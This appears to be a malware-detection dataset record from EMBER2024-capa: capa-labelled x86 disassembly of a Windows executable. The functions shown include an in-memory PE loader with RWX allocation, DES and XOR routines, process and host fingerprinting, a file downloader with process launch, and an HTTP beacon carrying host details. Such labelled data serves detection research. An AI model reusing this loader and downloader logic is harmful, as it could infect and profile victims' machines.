joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402230
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x40
push 0x3000
mov edi, dword [esi + 0x3c]
add edi, esi
mov dword [ebp - 8], edi
mov eax, dword [edi + 0x50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [edi + 0x54]
mov ebx, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 0x14], ebx
and ecx, 3
mov dword [ebp - 0xc], 0
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add edi, ebx
cmp word [ecx + 6], 0
mov dword [ebp - 0x10], edi
jbe 0x4022e7
mov eax, edi
lea esi, [ecx + 0x108]
sub eax, ecx
lea edx, [eax + ecx + 0x104]
mov dword [ebp - 4], edx
mov edx, dword [esi]
test edx, edx
jbe 0x4022ca
xor eax, eax
test edx, edx
jbe 0x4022ca
mov edx, dword [ebp - 4]
mov ecx, dword [esi + 4]
mov edi, dword [ebp + 8]
add ecx, eax
mov edx, dword [edx]
mov cl, byte [ecx + edi]
add edx, eax
inc eax
mov byte [edx + ebx], cl
mov ecx, dword [esi]
cmp eax, ecx
jb 0x4022a8
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add edx, 0x28
add esi, 0x28
mov dword [ebp - 4], edx
xor edx, edx
mov dx, word [ecx + 6]
inc eax
cmp eax, edx
mov dword [ebp - 0xc], eax
jb 0x40229c
mov eax, dword [edi + 0x80]
test eax, eax
lea esi, [eax + ebx]
mov dword [ebp + 8], esi
je 0x402385
cmp dword [esi], 0
jne 0x402307
mov eax, dword [esi + 0x10]
test eax, eax
je 0x402385
mov eax, dword [esi + 0xc]
test eax, eax
je 0x402371
lea edi, [eax + ebx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, dword [esi]
mov ecx, eax
test edi, edi
mov dword [ebp - 0xc], ecx
jne 0x402330
mov edi, dword [esi + 0x10]
mov esi, dword [esi + 0x10]
mov eax, dword [edi + ebx]
add edi, ebx
add esi, ebx
test eax, eax
je 0x40236b
jmp 0x402343
mov ecx, dword [ebp - 0xc]
test eax, 0x80000000
je 0x402351
and eax, 0xffff
jmp 0x402355
lea eax, [eax + ebx + 2]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add edi, 4
mov dword [esi], eax
add esi, 4
mov eax, dword [edi]
test eax, eax
jne 0x402340
mov esi, dword [ebp + 8]
mov edi, dword [ebp - 0x10]
mov eax, dword [edi + 0x80]
add esi, 0x14
test eax, eax
mov dword [ebp + 8], esi
jne 0x4022fb
push 0
push ebx
call fcn.00402190
mov eax, dword [edi + 0x28]
add esp, 8
add eax, ebx
mov dword [ebp + 8], eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, 1
push eax
xor eax, eax
push eax
mov eax, dword [ebp + 8]
call eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 8]
xor eax, eax
mov edi, ebx
mov ecx, dword [ecx + 0x54]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404389
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x408288
cmp edx, dword [eax]
je 0x4043ab
add eax, 8
inc ecx
cmp eax, 0x408318
jl 0x40439c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x408288]
jne 0x4044d9
mov eax, dword [0x409ff0]
cmp eax, 1
je 0x4044b3
test eax, eax
jne 0x4043dc
cmp dword [0x4081d4], 1
je 0x4044b3
cmp edx, 0xfc
je 0x4044d9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x404413
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404c40
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404d30
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x404456
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404d30
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40673c
push edi
call fcn.00405170
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404c40
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404c50
lea eax, [ebp - 0xa0]
push 0x40671c
push eax
call fcn.00404c50
push dword [esi + 0x40828c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404c50
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004050e5
add esp, 0x2c
pop edi
jmp 0x4044d9
lea eax, [ebp + 8]
lea esi, [esi + 0x40828c]
push 0
push eax
push dword [esi]
call fcn.00404d30
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4011a0
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
push 0x40
push eax
push 0x4089b8
call fcn.004014e0
push 0x40
push 0x406410
push 0x4089b8
push 0x4089b8
call fcn.00401400
mov al, byte [esp + 0x3c]
add esp, 0x1c
test al, al
jne 0x40122b
mov ebx, dword [esp + 0x1c]
mov ebp, 0x10
mov eax, dword [0x40804c]
mov ecx, 8
mov esi, eax
mov edi, 0x408998
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401340
mov ecx, dword [0x408048]
mov edx, dword [0x40804c]
push 0x20
push ecx
push edx
call fcn.00401450
mov edi, dword [0x408048]
add esp, 0x14
mov ecx, 8
mov esi, 0x408998
add ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x4011df
jmp 0x401284
mov eax, dword [esp + 0x1c]
mov ebp, 0x10
lea ebx, [eax + 0x2d0]
mov eax, dword [0x408048]
mov ecx, 8
mov esi, eax
mov edi, 0x408998
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401340
mov ecx, dword [0x40804c]
mov edx, dword [0x408048]
push 0x20
push ecx
push edx
call fcn.00401450
mov edi, dword [0x40804c]
add esp, 0x14
mov ecx, 8
mov esi, 0x408998
sub ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x40123a
push 0x40
push 0x406450
push 0x4089b8
push 0x4089b8
call fcn.00401400
mov eax, dword [esp + 0x24]
push 0x40
push 0x4089b8
push eax
call fcn.00401520
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4012c0
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0x40
push eax
push 0x408958
call fcn.004014e0
push 0x38
push 0x4064e0
push 0x408958
push 0x408958
call fcn.00401400
mov edi, dword [esp + 0x28]
add esp, 0x1c
xor esi, esi
movsx ecx, byte [esi + 0x406548]
mov edx, dword [0x408050]
push ecx
push 0x1c
push edx
call fcn.00401480
movsx eax, byte [esi + 0x406548]
mov ecx, dword [0x408054]
push eax
push 0x1c
push ecx
call fcn.00401480
push 0x30
push 0x406518
push 0x408958
push edi
call fcn.00401400
add esp, 0x28
inc esi
add edi, 0x30
cmp esi, 0x10
jl 0x4012f2
pop edi
pop esi
ret

Function at 0x401340
Capabilities:
Encrypt data using des

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x30
push 0x406490
push esi
push 0x408928
call fcn.00401400
mov eax, dword [esp + 0x1c]
push 0x30
push eax
push 0x408928
call fcn.00401450
push 0x408928
push esi
call fcn.00401390
push 0x20
push 0x4064c0
push esi
push esi
call fcn.00401400
add esp, 0x34
pop esi
ret

Function at 0x401450
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x401472
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x401464
pop ebx
pop esi
ret
Function at 0x4017f0
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x405209
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x108
mov eax, dword [esp + 0x118]
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push eax
push 0x66
mov dword [esp + 0x18], ebp
call fcn.00404e1c
xor ebx, ebx
lea ecx, [ebp + 0x64]
mov dword [esp + 0x120], ebx
call fcn.00403a00
mov byte [esp + 0x120], 1
mov dword [ebp], 0x4069e8
call sub.MFC42.DLL_AfxGetModuleState
push 0x80
push 0xe
push 0x80
call sub.MFC42.DLL_AfxFindResourceHandle
push eax
call dword [sym.imp.USER32.DLL_LoadIconA]
mov dword [ebp + 0x60], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], bl
mov dword [ebp + 0x30c], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp + 0x310], ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4087d8
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4018da
test cl, cl
je 0x4018d6
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4018da
add eax, 2
add esi, 2
test cl, cl
jne 0x4018b6
xor eax, eax
jmp 0x4018df
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x4018ed
mov dword [ebp + 0x310], 1
push ebx
call dword [sym.imp.MSVCRT.DLL_time]
push eax
call dword [sym.imp.MSVCRT.DLL_srand]
lea edi, [ebp + 0x418]
mov ecx, 0x41
xor eax, eax
lea ebx, [ebp + 0x51c]
rep stosd dword es:[edi], eax
lea edi, [ebp + 0x314]
mov ecx, 0x41
rep stosd dword es:[edi], eax
mov ecx, 0x41
mov edi, ebx
add esp, 8
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [ebp + 0x620]
push 0x104
push ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, 0x4087bc
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp + 0x51f], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.DLL_rand]
cdq
mov ecx, 0x19
idiv ecx
lea eax, [ebp + 0x418]
add edx, 0x41
push edx
push ebx
push 0x4087b4
push eax
call dword [sym.imp.MSVCRT.DLL_sprintf]
add esp, 0x10
lea eax, [ebp + 0x314]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov ecx, ebp
call fcn.004033f0
test eax, eax
jne 0x4019c1
mov ecx, ebp
call fcn.00403560
mov ecx, dword [esp + 0x118]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x114
ret 4
Function at 0x4022d0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0xc]
push eax
push esi
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.DLL_Process32First
mov ebx, dword [esp + 0x138]
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x40231c
lea ecx, [esp + 0xc]
push ecx
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x40234b
cmp dword [esp + 0x14], ebx
jne 0x402307
mov edx, dword [esp + 0x24]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov ecx, dword [esp + 0x140]
mov edx, dword [esp + 0x13c]
push ecx
push edx
push 0
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x128
ret 0xc

Function at 0x4024b0
Capabilities:
Get hostname
Get mac address on windows

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x118], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
lea ecx, [esp + 0x518]
push eax
push ecx
xor edi, edi
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402580
mov edx, dword [esp + 0xc]
push edx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov ebp, eax
cmp ebp, ebx
je 0x402621
lea eax, [esp + 0xc]
push esi
push eax
push ebp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, ebx
jne 0x402561
mov eax, ebp
mov ecx, dword [eax + 0x190]
lea edx, [ecx + edi]
cmp edx, 0x1000
jae 0x40256a
mov ebx, ecx
lea esi, [eax + 0x194]
lea edi, [esp + edi + 0x11c]
mov eax, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
cmp eax, ebx
rep movsb byte es:[edi], byte [esi]
mov edi, edx
jne 0x402529
jmp 0x40256a
add eax, 0xf0000000
mov dword [esp + 0x14], eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov eax, dword [esp + 0x14]
pop esi
jmp 0x402585
add eax, 0xe0000000
cmp eax, ebx
jne 0x402621
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push edx
stosb byte es:[edi], al
mov dword [esp + 0x1c], 0x100
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
mov eax, dword [esp + 0x11d]
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x11b]
and eax, 0xff
and ecx, 0xff
push eax
mov eax, dword [esp + 0x11e]
and edx, 0xff
push ecx
mov ecx, dword [esp + 0x121]
push edx
mov edx, dword [esp + 0x124]
and eax, 0xff
and ecx, 0xff
push eax
mov eax, dword [esp + 0x7ac]
and edx, 0xff
push ecx
push edx
push 0x4087f4
push eax
call dword [sym.imp.MSVCRT.DLL_sprintf]
add esp, 0x20
pop edi
pop ebp
pop ebx
add esp, 0x78c
ret 4
Function at 0x402630
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.DLL_Process32First
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
test eax, eax
je 0x40268d
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x402691
lea eax, [esp + 0x34]
push edi
push eax
call ebx
test eax, eax
jne 0x402672
mov ebp, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret 4
Function at 0x4026b0
Capabilities:
Check for peb beingdebugged flag
Get file version info

Disassembly:
push 0xffffffffffffffff
push 0x4052df
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor ebx, ebx
push edi
push ebx
push ebp
mov dword [esp + 0x2c], ebx
call sub.VERSION.DLL_GetFileVersionInfoSizeA
mov edi, eax
push edi
call dword [sym.imp.MSVCRT.DLL_malloc]
add esp, 4
mov esi, eax
push esi
push edi
push ebx
push ebp
call sub.VERSION.DLL_GetFileVersionInfoA
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x10]
push eax
push ecx
push 0x408840
push esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x2c], ebx
call sub.VERSION.DLL_VerQueryValueA
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
mov edi, 1
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], edi
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x3c]
mov byte [esp + 0x30], 2
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x10]
xor edx, edx
lea ecx, [esp + 0x3c]
mov byte [esp + 0x30], 3
mov dx, word [eax]
push edx
push 0x408838
push ecx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea edx, [esp + 0x20]
lea ecx, [esp + 0x3c]
push 4
push edx
call sub.MFC42.DLL_CString::Right
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], 4
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x20]
mov byte [esp + 0x30], 3
call fcn.00404e2e
mov ecx, dword [esp + 0x10]
xor eax, eax
lea edx, [esp + 0x3c]
mov ax, word [ecx + 2]
push eax
push 0x408838
push edx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea eax, [esp + 0x20]
lea ecx, [esp + 0x3c]
push 4
push eax
call sub.MFC42.DLL_CString::Right
mov byte [esp + 0x30], 5
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x20]
mov byte [esp + 0x30], 3
call fcn.00404e2e
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push 0x408818
push edx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x10]
push eax
push ecx
push 0x100
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::GetBufferSetLength
push eax
push esi
call sub.VERSION.DLL_VerQueryValueA
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x3c]
push edx
push 0x408814
push eax
call sub.MFC42.DLL_CString::Format
push esi
call dword [sym.imp.MSVCRT.DLL_free]
mov esi, dword [esp + 0x48]
add esp, 0x10
lea ecx, [esp + 0x3c]
push ecx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 0x24], edi
lea ecx, [esp + 0x3c]
mov byte [esp + 0x30], 2
call fcn.00404e2e
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 1
call fcn.00404e2e
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], bl
call fcn.00404e2e
mov ecx, dword [esp + 0x28]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 8
Function at 0x402980
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.DLL_Process32First
lea ecx, [esp + 8]
inc edi
push ecx
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x4029a7
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x128
ret
Function at 0x402a20
Capabilities:
Check internet connectivity via wininet
Create http request
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x66c
lea eax, [esp + 0x10]
push ebx
push ebp
push esi
xor ebx, ebx
push edi
push ebx
push eax
call dword [sym.imp.WININET.DLL_InternetGetConnectedState]
test eax, eax
jne 0x402a49
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x66c
ret 8
mov ecx, dword [0x408880]
mov dx, word [0x408884]
mov dword [esp + 0x24], ecx
mov word [esp + 0x28], dx
call dword [sym.imp.WINMM.DLL_timeGetTime]
push eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x44]
push 0x408878
push ecx
call dword [sym.imp.MSVCRT.DLL_sprintf]
mov al, byte [esp + 0x30]
add esp, 0x10
test al, 4
push ebx
push ebx
push ebx
jne 0x402a9e
lea edx, [esp + 0x48]
push 4
push edx
call dword [sym.imp.WININET.DLL_InternetOpenA]
mov ebp, eax
mov dword [esp + 0x10], ebp
jmp 0x402ab0
lea eax, [esp + 0x48]
push ebx
push eax
call dword [sym.imp.WININET.DLL_InternetOpenA]
mov dword [esp + 0x10], eax
mov ebp, eax
cmp ebp, ebx
jne 0x402ac3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x66c
ret 8
mov ecx, dword [0x408868]
mov eax, dword [0x408870]
mov edx, dword [0x40886c]
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x408874]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], ecx
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x30], edx
push ebx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x684]
push 0x84000100
not ecx
dec ecx
lea edx, [esp + 0x34]
push ecx
push edx
push eax
push ebp
call dword [sym.imp.WININET.DLL_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x402b28
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x66c
ret 8
mov ecx, dword [esp + 0x684]
push 0x408864
push ecx
call dword [sym.imp.MSVCRT.DLL_fopen]
mov edi, eax
add esp, 8
cmp edi, ebx
jne 0x402b53
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x66c
ret 8
lea edx, [esp + 0x1c]
push ebx
lea eax, [esp + 0x18]
push edx
push eax
push 0x20000005
push esi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], 4
call dword [sym.imp.WININET.DLL_HttpQueryInfoA]
test eax, eax
jne 0x402b7e
mov dword [esp + 0x14], ebx
mov ebx, dword [sym.imp.WININET.DLL_InternetReadFile]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x80]
push 0x180
push edx
push esi
call ebx
test eax, eax
je 0x402bd6
mov ebp, dword [sym.imp.MSVCRT.DLL_fwrite]
mov eax, dword [esp + 0x18]
push edi
test eax, eax
je 0x402bf6
push 1
push eax
lea eax, [esp + 0x88]
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x18]
lea edx, [esp + 0x7c]
push ecx
push 0x180
push edx
push esi
call ebx
test eax, eax
jne 0x402ba3
mov ebp, dword [esp + 0x10]
push ebp
call dword [sym.imp.WININET.DLL_InternetCloseHandle]
push edi
call dword [sym.imp.MSVCRT.DLL_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x66c
ret 8
call dword [sym.imp.MSVCRT.DLL_fclose]
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call dword [sym.imp.WININET.DLL_InternetCloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x66c
ret 8
Function at 0x402c20
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x408888
push eax
call dword [sym.imp.MSVCRT.DLL_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x402c44
pop esi
add esp, 8
ret 4
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.DLL_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.DLL_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x402caf
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
mov edi, edx
jmp 0x402cb1
xor edi, edi
push esi
call dword [sym.imp.MSVCRT.DLL_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret 4

Function at 0x402d10
Capabilities:
Get common file path

Disassembly:
mov eax, dword [esp + 8]
push edi
cmp eax, 0x104
mov edi, ecx
ja 0x402d53
push esi
mov esi, dword [esp + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov eax, dword [esp + 0x14]
mov ecx, edi
push eax
push 0x1869f
push 0x2710
call fcn.00402cd0
push eax
push esi
push 0x40888c
push esi
call dword [sym.imp.MSVCRT.DLL_sprintf]
add esp, 0x14
pop esi
pop edi
ret 0xc

Function at 0x402d60
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
mov ax, word [esp + 0x68]
xor ecx, ecx
mov dword [esp + 8], ecx
mov word [esp + 0x48], ax
mov dword [esp + 0xc], ecx
lea eax, [esp + 0x18]
mov dword [esp + 0x10], ecx
push edx
push eax
mov edx, dword [esp + 0x68]
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x30], ecx
push ecx
mov ecx, dword [esp + 0x84]
push ecx
push edx
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x6c], 1
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov eax, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
add esp, 0x54
ret 0xc
Function at 0x402de0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0xcc
test eax, eax
push ebx
mov ebx, dword [esp + 0xd4]
push ebp
push esi
push edi
mov esi, ecx
jne 0x402e6c
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
mov ecx, esi
push eax
call fcn.00402890
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x79]
mov byte [esp + 0x78], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x78]
push ecx
mov ecx, esi
stosb byte es:[edi], al
call fcn.004024b0
mov ecx, esi
call fcn.00402980
lea edx, [esp + 0x14]
push edx
push eax
lea eax, [esp + 0x80]
push eax
push 0x408782
push 0x408764
push ebx
push 0x4088a0
push ebx
call dword [sym.imp.MSVCRT.DLL_sprintf]
add esp, 0x20
push 0
push 0
push 0
push 0
push 0x408894
call dword [sym.imp.WININET.DLL_InternetOpenA]
push 0
push 0x80000000
push 0
mov ebp, eax
push 0
push ebx
push ebp
call dword [sym.imp.WININET.DLL_InternetOpenUrlA]
push 0x400
mov ebx, eax
call sub.MFC42.DLL_operatornew
mov esi, eax
mov ecx, 0x100
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
add esp, 4
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
push ecx
push 0x400
push esi
push ebx
call dword [sym.imp.WININET.DLL_InternetReadFile]
mov edi, dword [sym.imp.WININET.DLL_InternetCloseHandle]
push ebx
call edi
push ebp
call edi
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xcc
ret 8